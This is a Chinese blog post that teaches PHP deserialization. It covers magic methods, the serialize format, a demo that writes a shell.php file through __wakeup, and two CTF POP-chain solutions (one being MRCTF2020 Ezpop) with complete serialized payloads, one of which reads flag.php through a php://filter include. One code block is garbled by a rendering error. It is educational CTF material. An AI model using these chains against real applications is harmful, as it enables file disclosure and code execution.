原创 | 从PHP反序列化原理到POP链构造
点击蓝字
关注我们
0x01 序言
分享一下php反序列化的pop链儿吧,内容也不长,有错误的话大佬指出。
0x02 魔术方法介绍
常见的PHP魔术方法
__construct:在创建对象时候初始化对象,一般用于对变量赋初值,当对象创建(new)时会自动调用。
__destruct:和构造函数相反,当对象所在函数调用完毕后执行,当对象被销毁时会自动调用,对象消亡时,自动被调用,用来释放对象占用的空间。
__wakeup:反序列化恢复对象之前调用该方法,unserialize()时会自动调用
__sleep():序列化对象之前就调用此方法(其返回需要一个数组)
__call():当调用对象中不存在的方法会自动调用该方法
__callStatic():在静态上下文中调用不可访问的方法时触发
__get():用于从不可访问的属性读取数据,在不可访问的属性上调用isset()或empty(),在不可访问的属性上使用unset()时触发
__set():用于将数据写入不可访问的属性
__isset():在不可访问的属性上调用isset()或empty()触发
__unset():在不可访问的属性上使用unset()时触发
__toString():把类当作字符串使用时触发
__invoke():当脚本尝试将对象调用为函数时触发
0x03 serialize 和unserialize
原理
php中有两个函数:serialize序列化以及unserialize反序列化,序列化函数用于序列化对象或数组,并返回一个字符串,逆向的过程叫做反序列化。
来一个简单的列子:
<?php
class User{
var $a='ceshi';
var $c='ceshi2';
}
$b=new User;
$b_1=serialize($b);
print_r($b_1);
?>
输出结果为
O:4:"User":2:{s:1:"a";s:5:"ceshi";s:1:"c";s:6:"ceshi2";}
这里的O代表存储的是对象(object),serialize()传入的是一个数组,那它会变成字母a。4表示对象的名称有4个字符。"User"表示对象的名称。2表示有一个值。{s:1:"a";s:5:"ceshi";s:1:"c";s:6:"ceshi2";}中,s表示字符串,a表示变量名,5表示该字符串的长度,"ceshi"为字符串的名称,s表示字符串,1变量的长度,c表示变量名称,6表示该字符串的长度,"ceshi2"为字符串的名称。
接下来将得到的序列化后的字符串进行反序列化
<?php
class User{
var $a='ceshi';
var $c='ceshi2';
}
$b=new User();
$b_ser=serialize($b);
print_r($b_ser."\n"); //序列化生成的对象
$b_unser=unserialize($b_ser);//反序列化生成的序列化之后的字符串
echo "\n";
print_r($b_unser);
?>
得到的输出结果那么就是
经过断点调试我们发现
<?php
class User{
var $a='ceshi';
var $c='ceshi2';
function __wakeup(){
echo "__wakeup";
echo "\n";
}
}
$b=new User();
$b_ser=serialize($b);
print_r($b_ser."\n"); //序列化生成的对象
$b_unser=unserialize($b_ser);//反序列化生成的序列化之后的字符串
print_r($b_unser);
?>
在执行了反序列unserialize恢复对象之前调用了php魔术方法__wakeup(),上面的图片可以看清楚函数的调用顺序,毕竟debug模式比较容易按步调试,输出结果如下
利用1
根据函数调用顺序我们看到在执行了反序列化(unserialize)之后调用了--destruct函数那么在恢复对象之前调用了--wakeup()函数,那么利用反序列化就是尝试在魔术方法中写入方法生成新的php文件利用反序列化调用魔术方法然后执行恶意代码
<?php
highlight_file(__FILE__);
error_reporting(0);
include "shell.php";
class User{
var $test='ceshi';
function __wakeup()
{
// TODO: Implement __wakeup() method.
$fp = fopen("shell.php","w") ;//调用该魔术方法写一个shell.php文件
fwrite($fp,$this->test);
fclose($fp);
}
}
$task = $_GET['test'];
print_r($task);
$task_unser = unserialize($task);
print_r($task_unser)
?>
思路就是构造使用get方式传参传入的参数进行反序列化触发魔术方法__wakeup(),在wakeup函数中执行写入shell.php文件。那么首先就是需要构造传入的反序列化参数的内容。
<?php
highlight_file(__FILE__);
error_reporting(0);
include "shell.php";
class User{
var $test='ceshi';
function __wakeup()
{
// TODO: Implement __wakeup() method.
$fp = fopen("shell.php","w") ;//调用该魔术方法写一个shell.php文件
fwrite($fp,$this->test);
fclose($fp);
}
}
$a=new User();
$a->test="<?php phpinfo(); ?>";
$a_ser=serialize($a);
print_r($a_ser);
?>
new一个对象,引用赋给test的字符串,进行序列化操作得到如下的输出
O:4:"User":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}
访问test2.php页面正常
传入test参数进行反序列化
成功生成一句话木马shell.php,利用文件包含读取出来。
利用2
但是这种情况是自动调用从而实现了RCE,如果没有这种条件又该如何去实现利用漏洞,可以利用反序列化漏洞的特点,寻找相同的函数名,结果敏感函数以及构造相对应的序列化参数去实现RCE
<?php
highlight_file(__FILE__);
error_reporting(0);
class User
{
var $test = 'ceshi';
function __construct()
{
$this->test=new Object();
}
function __destruct()
{
// TODO: Implement __destruct() method.
$this->test->action();
}
// function __wakeup()
// {
// // TODO: Implement __wakeup() method.
// $fp = fopen("shell.php","w") ;//调用该魔术方法写一个shell.php文件
// fwrite($fp,$this->test);
// fclose($fp);
// $test = new Object();
// }
}
class Object{
function action(){
var_dump("hello");
}
}
//$task = $_GET['test'];
//print_r($task);
//$task_unser = unserialize($task);
//print_r($task_unser)
$a=new User();
$b_unser=unserialize($a);
?>
new一个新的对象,按照调试的步骤为先调用构造函数,然后直接反序列化,再传入反序列化字符串之前调用析构函数,由于再析构函数中重新new了一个对象Object,调用了action()方法。
继续跟进下一步,反序列化之后调用魔术方法__destruct()
最后的输出结果
接下来就是对反序列化的漏洞利用,怎么去构造反序列化传入的变量a,这里使用get传参,修改一下题目,$b_unser=unserialize($_GET['test']);
<?php
class User {
var $test;
function __construct() {
$this->test = new Object2();
}
}
class Object2 {
var $test2 = "phpinfo();";
}
echo serialize(new User());
?>
序列化得到的结果为
O:4:"User":1:{s:4:"test";O:7:"Object2":1:{s:5:"test2";s:10:"phpinfo();";}}
那么这里已经实现了联系相同的函数名以及危险函数eval去执行phpinfo
0x04 PHP反序列化之POP链构造
WEB1
`php
<?php
class A {
public $a;
public function funa($a1){
echo $a1;
}
}
class B {
public $b;
public function funb($b1){
$this->$b->funa($b1);
}
}
class C {
public $c;
public function func($c1){
$this->$c->funb($c1);
}
}
highlight_file(FILE);
error_reporting(0);
$pop = $_GET['pop'];
$argv = $_GET['argv'];
$class = unserialize($pop);
$class->func($argv);
if($argv==flag){
require "flag.php";
}
?>
根据题目分析主要在于实现A类中的执行语句,GET传入参数pop以及argv传入参数值为flag
类C调用函数类B调用函数类A。那么根据这个顺序可以构造以下的pop链
>new C()'$this->$c->funb($c1)'调用的是类B的funb()方法,实例化类B> $this->$c=new B()
同理实例化类A,"$this->$b->funa($b1)"调用的是类A的funa()方法> $this->$c->$b=new A()
调试一下并且验证一下输出,代码如下:
<?php
class A {
public $a;
public function funa($a1){
echo $a1;
}
}
class B {
public $b;
public function funb($b1){
$this->$b->funa($b1);
}
}
class C {
public $c;
public function func($c1){
$this->$c->funb($c1);
}
}
$pop=new C();
$pop->$c=new B();
$pop->$c->$b = new A();
$pop->$c->$b->funa(1);
?>
![Snipaste_2021-09-01_11-03-50.png](/img/sin/M00/00/A8/wKg0C2EwgMyAfFYiAAC1uYAcuss545.png)
根据此pop链,序列化的代码如下:
<?php
class A {
public $a;
public function funa($a1){
echo $a1;
}
}
class B {
public $b;
public function funb($b1){
$this->$b->funa($b1);
}
}
class C {
public $c;
public function func($c1){
$this->$c->funb($c1);
}
}
$pop=new C;
$pop->$c=new B;
$pop->$c->$b = new A;
echo serialize($pop);
?>
> 1
> O:1:"C":2:{s:1:"c";N;s:0:"";O:1:"B":2:{s:1:"b";N;s:0:"";O:1:"A":1:{s:1:"a";N;}}}
构造payload如下
> pop=O:1:"C":2:{s:1:"c";N;s:0:"";O:1:"B":2:{s:1:"b";N;s:0:"";O:1:"A":1:{s:1:"a";N;}}}&argv=flag
拿到flag
![Snipaste_2021-09-01_11-33-34.png](/img/sin/M00/00/A8/wKg0C2EwgMyAd1AzAAB0QYrAPKk473.png)
这这里需要注意的是序列化的代码在php版本低于7.3
的条件下都会报错,无法正常输出。
在构造序列化的payload的时候一直无法成功输出,
在调试的过程中在第二步实例化对象的时候一直报错,
php的版本当时调试到7.0的版本也是报错,一直怀疑
是否是分析的有问题,后来才发现这里需要php版本大
于7.3,真的是掉坑里了。
#### WEB2 [MRCTF2020]Ezpop
源码:
Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(FILE);
}
总的来说代码的行数虽然比较多,但是只有三个类,简单的看这道题目的考点就可以直接看出来,php反序列化和文件包含。这里主要的就是分析POP链的构造。
Modifier类class Modifier {
protected $var;
public function append(var;publicfunctionappend($value){
include($value);
}
public function __invoke(){
KaTeX parse error: Expected 'EOF', got '}' at position 9: value);
}
public functio$this->append($this->var);
}
}
两个方法,看到了__invoke(),它在对象调用为函数时触发
Show类
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
这个类三个方法,构造函数在对象创建时调用,__toString()把类当时做字符串时调用,这里调用str属性的source__wakeup()在反序列化之后进行调用,所以这里的逻辑应该是这样的,反序列化对象之后触发wakeup,由于wakeup方法中会将传入的
Test类
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
着重看第二方法get作用在用于不可访问属性的访问,类似的属性private、protect。那么该类就和Modifier类联系起来了。所以POP链就基本如下:
> 反序列化之后触发wakeup,匹配字符串的时候触发__tostring
> 当$str=new Test(),因为Test类中没有source,直接触发get魔术方法
> $p=new Modifier()以函数形式调用触发__invoke()魔术方法
<?php
class Modifier{
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
public $source;
public $str;
public function __construct()
{
$this->str=new Test();
}
}
class Test{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
$hack=new Show();
$hack->source=new Show();
$hack->source->str->p=new Modifier();
echo urlencode(serialize($hack));
?>
payload:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BN%3B%7D%7D
拿到flag
0x05 结语
文笔略糙,如有不当之处还望各位海涵!!!
往期推荐